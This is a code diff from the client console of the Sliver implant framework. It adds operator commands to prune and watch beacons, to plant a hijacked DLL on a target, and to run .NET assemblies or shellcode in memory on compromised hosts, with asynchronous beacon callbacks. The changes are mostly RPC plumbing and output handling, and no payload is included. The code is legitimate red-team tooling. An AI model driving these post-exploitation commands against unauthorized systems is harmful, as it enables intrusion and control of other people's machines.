pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
pruneBeacons := []*clientpb.Beacon{}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
nextCheckin := time.Unix(beacon.NextCheckin, 0)
|
||||
if time.Now().Before(nextCheckin) {
|
||||
continue
|
||||
}
|
||||
delta := time.Now().Sub(nextCheckin)
|
||||
if pruneDuration <= delta {
|
||||
pruneBeacons = append(pruneBeacons, beacon)
|
||||
}
|
||||
}
|
||||
if len(pruneBeacons) == 0 {
|
||||
con.PrintInfof("No beacons to prune.\n")
|
||||
return
|
||||
}
|
||||
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
|
||||
for index, beacon := range pruneBeacons {
|
||||
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Printf("\t%d. %s (%s)\n", (index + 1), beacon.Name, beacon.ID)
|
||||
}
|
||||
con.Println()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Prune these beacons?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
errCount := 0
|
||||
for _, beacon := range pruneBeacons {
|
||||
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
errCount++
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Pruned %d beacon(s)\n", len(pruneBeacons)-errCount)
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsRmCmd - Display/interact with beacons
|
||||
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
beacon, err := SelectBeacon(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Beacon removed (%s)\n", beacon.ID)
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BeaconsWatchCmd - Watch your beacons in real-ish time
|
||||
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
done := waitForInput()
|
||||
defer func() {
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
con.Printf(console.UpN+console.Clearln+"\r", 1)
|
||||
}()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case <-time.After(time.Second):
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
|
||||
}
|
||||
tw := renderBeacons(beacons.Beacons, con)
|
||||
lines := strings.Split(tw.Render(), "\n")
|
||||
for _, line := range lines {
|
||||
con.Printf(console.Clearln+"\r%s\n", line)
|
||||
}
|
||||
con.Printf("\nPress enter to stop.\n")
|
||||
con.Printf(console.UpN+"\r", len(lines)+2)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func waitForInput() <-chan bool {
|
||||
done := make(chan bool)
|
||||
go func() {
|
||||
defer close(done)
|
||||
fmt.Scanf("\n")
|
||||
done <- true
|
||||
}()
|
||||
return done
|
||||
}
|
||||
+1103
-91
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,4 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -0,0 +1,63 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
@@ -0,0 +1,97 @@
|
||||
package dllhijack
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --profile dll TARGET_PATH
|
||||
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
|
||||
|
||||
// DllHijackCmd -- implements the dllhijack command
|
||||
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
localRefData []byte
|
||||
targetDLLData []byte
|
||||
err error
|
||||
)
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
targetPath := ctx.Args.String("target-path")
|
||||
referencePath := ctx.Flags.String("reference-path")
|
||||
localFile := ctx.Flags.String("file")
|
||||
profileName := ctx.Flags.String("profile")
|
||||
localReferenceFilePath := ctx.Flags.String("reference-file")
|
||||
|
||||
if referencePath == "" {
|
||||
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
|
||||
return
|
||||
}
|
||||
|
||||
if localReferenceFilePath != "" {
|
||||
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if localFile != "" {
|
||||
if profileName != "" {
|
||||
con.PrintErrorf("please use either --profile or --File")
|
||||
return
|
||||
}
|
||||
targetDLLData, err = ioutil.ReadFile(localFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
|
||||
ReferenceDLLPath: referencePath,
|
||||
TargetLocation: targetPath,
|
||||
ReferenceDLL: localRefData,
|
||||
TargetDLL: targetDLLData,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
ProfileName: profileName,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("DLL uploaded to %s\n", targetPath)
|
||||
}
|
||||
@@ -22,28 +22,49 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvGetCmd - Get a remote environment variable
|
||||
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
name := ctx.Args.String("name")
|
||||
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintGetEnvInfo(envInfo, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintGetEnvInfo - Print the results of the env get command
|
||||
func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
for _, envVar := range envInfo.Variables {
|
||||
con.Printf("%s=%s\n", envVar.Key, envVar.Value)
|
||||
}
|
||||
|
||||
@@ -22,15 +22,17 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvSetCmd - Set a remote environment variable
|
||||
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,12 +48,30 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Key: name,
|
||||
Value: value,
|
||||
},
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if envInfo.Response != nil && envInfo.Response.Async {
|
||||
con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, envInfo)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
})
|
||||
con.PrintAsyncResponse(envInfo.Response)
|
||||
} else {
|
||||
PrintSetEnvInfo(name, value, envInfo, con)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// PrintSetEnvInfo - Print the set environment info
|
||||
func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
|
||||
@@ -22,14 +22,16 @@ import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// EnvUnsetCmd - Unset a remote environment variable
|
||||
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -41,16 +43,33 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
|
||||
Name: name,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if unsetResp.Response != nil && unsetResp.Response.Async {
|
||||
con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, unsetResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
})
|
||||
con.PrintAsyncResponse(unsetResp.Response)
|
||||
} else {
|
||||
PrintUnsetEnvInfo(name, unsetResp, con)
|
||||
}
|
||||
|
||||
if unsetResp.Response != nil && unsetResp.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", unsetResp.Response.Err)
|
||||
}
|
||||
|
||||
// PrintUnsetEnvInfo - Print the set environment info
|
||||
func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverConsoleClient) {
|
||||
if envInfo.Response != nil && envInfo.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", envInfo.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully unset %s\n", name)
|
||||
|
||||
@@ -3,14 +3,17 @@ package exec
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
@@ -20,26 +23,27 @@ import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
|
||||
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.Get()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
filePath := ctx.Args.String("filepath")
|
||||
assemblyPath := ctx.Args.String("filepath")
|
||||
isDLL := false
|
||||
if filepath.Ext(filePath) == ".dll" {
|
||||
if filepath.Ext(assemblyPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
if isDLL {
|
||||
@@ -48,7 +52,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
assemblyBytes, err := ioutil.ReadFile(filePath)
|
||||
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
@@ -59,8 +63,8 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Executing assembly ...", ctrl)
|
||||
executeAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: process,
|
||||
Arguments: strings.Join(assemblyArgs, " "),
|
||||
@@ -72,30 +76,50 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
hostname := getHostname(session, beacon)
|
||||
if execAssembly.Response != nil && execAssembly.Response.Async {
|
||||
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execAssembly)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execAssembly.Response)
|
||||
} else {
|
||||
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteAssembly - Print the results of an assembly execution
|
||||
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
|
||||
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
if execAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
if executeAssembly.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("Error: %s\n", executeAssembly.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
var err error
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
}
|
||||
con.PrintInfof("Assembly output:\n%s", string(executeAssembly.GetOutput()))
|
||||
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssembly.GetOutput())
|
||||
outFilePath.Write(execAssembly.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
|
||||
if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", executeAssembly.GetOutput(), false)
|
||||
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
|
||||
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
|
||||
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
@@ -103,3 +127,13 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.Hostname
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.Hostname
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -29,20 +29,26 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
|
||||
@@ -61,11 +67,11 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: ctx.Flags.Bool("rwx-pages"),
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -73,16 +79,34 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if shellcodeTask.Response != nil && shellcodeTask.Response.Async {
|
||||
con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, shellcodeTask)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
})
|
||||
con.PrintAsyncResponse(shellcodeTask.Response)
|
||||
} else {
|
||||
PrintExecuteShellcode(shellcodeTask, con)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExecuteShellcode - Display result of shellcode execution
|
||||
func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
|
||||
if task.Response.GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", task.Response.GetErr())
|
||||
return
|
||||
} else {
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
con.PrintInfof("Executed shellcode on target\n")
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
@@ -97,21 +121,21 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Retrieve PID and start remote task
|
||||
@@ -121,7 +145,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
@@ -130,7 +154,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -22,58 +22,122 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
